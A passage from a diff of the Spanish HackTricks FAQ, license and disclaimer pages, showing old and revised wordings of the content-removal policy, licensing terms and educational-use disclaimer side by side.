Sin embargo, si aún quieres que el contenido de tu blog sea eliminado de HackTricks simplemente háznoslo saber y **definitivamente eliminaremos todo enlace a tu blog**, y cualquier contenido basado en él.
> [!CAUTION]
>
> - **¿Qué debo hacer si encuentro contenido copiado y pegado en HackTricks?**
Siempre **damos todo el crédito a los autores originales**. Si encuentras una página con contenido copiado sin referencia a la fuente original, háznoslo saber y nosotros **lo eliminaremos**, **añadiremos el enlace antes del texto**, o **lo reescribiremos añadiendo el enlace**.
Siempre **damos a los autores originales todos los créditos**. Si encuentras una página con contenido copiado y pegado sin la fuente original referenciada, háznoslo saber y **lo eliminaremos**, **añadiremos el enlace antes del texto**, o **lo reescribiremos añadiendo el enlace**.
## LICENCIA
@ -112,32 +112,32 @@ Copyright © Todos los derechos reservados salvo que se especifique lo contrario
- Atribución: Eres libre de:
- Compartir — copiar y redistribuir el material en cualquier medio o formato.
- Adaptar — remezclar, transformar y elaborar a partir del material.
- Adaptar — remezclar, transformar y crear a partir del material.
#### Términos adicionales:
- Contenido de terceros: Algunas partes de este blog/libro pueden incluir contenido de otras fuentes, como extractos de otros blogs o publicaciones. El uso de dicho contenido se realiza bajo los principios del uso legítimo (fair use) o con permiso explícito de los titulares de derechos de autor correspondientes. Por favor, consulta las fuentes originales para información específica sobre la licencia del contenido de terceros.
- Autoría: El contenido original creado por HackTricks está sujeto a los términos de esta licencia. Se recomienda atribuir esta obra al autor al compartirla o adaptarla.
- Contenido de terceros: Algunas partes de este blog/libro pueden incluir contenido de otras fuentes, como extractos de otros blogs o publicaciones. El uso de dicho contenido se realiza bajo los principios del uso justo o con permiso explícito de los respectivos titulares de los derechos de autor. Por favor, consulta las fuentes originales para obtener información específica sobre la licencia del contenido de terceros.
- Autoría: El contenido original creado por HackTricks está sujeto a los términos de esta licencia. Se recomienda atribuir este trabajo al autor cuando lo compartas o adaptes.
#### Exenciones:
- Uso comercial: Para consultas sobre el uso comercial de este contenido, por favor contáctame.
- Uso comercial: Para consultas relacionadas con el uso comercial de este contenido, por favor contáctame.
Esta licencia no concede ningún derecho sobre marcas registradas o identidad de marca en relación con el contenido. Todas las marcas y elementos de branding mostrados en este blog/libro son propiedad de sus respectivos titulares.
Esta licencia no otorga ningún derecho sobre marcas comerciales o branding en relación con el contenido. Todas las marcas y el branding presentes en este blog/libro son propiedad de sus respectivos propietarios.
**Al acceder o usar HackTricks, aceptas cumplir los términos de esta licencia. Si no estás de acuerdo con estos términos, por favor, no accedas a este sitio web.**
**Al acceder o usar HackTricks, aceptas cumplir con los términos de esta licencia. Si no estás de acuerdo con estos términos, por favor, no accedas a este sitio web.**
## **Descargo de responsabilidad**
> [!CAUTION]
> Este libro, 'HackTricks,' está destinado únicamente a fines educativos e informativos. El contenido de este libro se proporciona 'tal cual', y los autores y editores no hacen declaraciones ni garantías de ningún tipo, expresas o implícitas, sobre la integridad, exactitud, fiabilidad, idoneidad o disponibilidad de la información, productos, servicios o gráficos relacionados contenidos en este libro. Cualquier confianza que deposites en dicha información es, por tanto, estrictamente bajo tu propia responsabilidad.
> Este libro, 'HackTricks,' está destinado únicamente a fines educativos e informativos. El contenido de este libro se proporciona "tal cual", y los autores y editores no realizan declaraciones ni garantías de ningún tipo, expresas o implícitas, sobre la integridad, exactitud, fiabilidad, idoneidad o disponibilidad de la información, productos, servicios o gráficos relacionados contenidos en este libro. Cualquier confianza que deposites en dicha información será estrictamente bajo tu propio riesgo.
>
> Los autores y editores no serán en ningún caso responsables por cualquier pérdida o daño, incluyendo, sin limitación, pérdidas o daños indirectos o consecuentes, o cualquier pérdida o daño que surja de la pérdida de datos o beneficios derivados de, o en relación con, el uso de este libro.
> Los autores y editores no serán responsables en ningún caso por cualquier pérdida o daño, incluyendo, sin limitación, pérdidas o daños indirectos o consecuentes, o cualquier pérdida o daño que surja de la pérdida de datos o beneficios derivada de, o en conexión con, el uso de este libro.
>
> Además, las técnicas y consejos descritos en este libro se proporcionan únicamente con fines educativos e informativos, y no deben utilizarse para actividades ilegales o maliciosas. Los autores y editores no avalan ni apoyan actividades ilegales o poco éticas, y cualquier uso de la información contenida en este libro es bajo la propia responsabilidad y criterio del usuario.
> Además, las técnicas y consejos descritos en este libro se proporcionan únicamente con fines educativos e informativos, y no deben utilizarse para actividades ilegales o maliciosas. Los autores y editores no aprueban ni respaldan actividades ilegales o poco éticas, y cualquier uso de la información contenida en este libro corre por cuenta y riesgo del usuario.
>
> El usuario es el único responsable de cualquier acción tomada con base en la información contenida en este libro, y siempre debe buscar asesoramiento y asistencia profesional al intentar implementar cualquiera de las técnicas o consejos aquí descritos.
> El usuario es el único responsable de cualquier acción emprendida basándose en la información contenida en este libro, y siempre debe buscar asesoramiento y asistencia profesional al intentar implementar cualquiera de las técnicas o consejos aquí descritos.
>
> Al usar este libro, el usuario acepta eximir a los autores y editores de toda responsabilidad por cualquier daño, pérdida o perjuicio que pueda resultar del uso de este libro o de cualquiera de las informaciones contenidas en él.
> Al usar este libro, el usuario acepta liberar a los autores y editores de cualquier y toda responsabilidad por daños, pérdidas o perjuicios que puedan resultar del uso de este libro o de cualquiera de las informaciones contenidas en él.
{{#include ../banners/hacktricks-training.md}}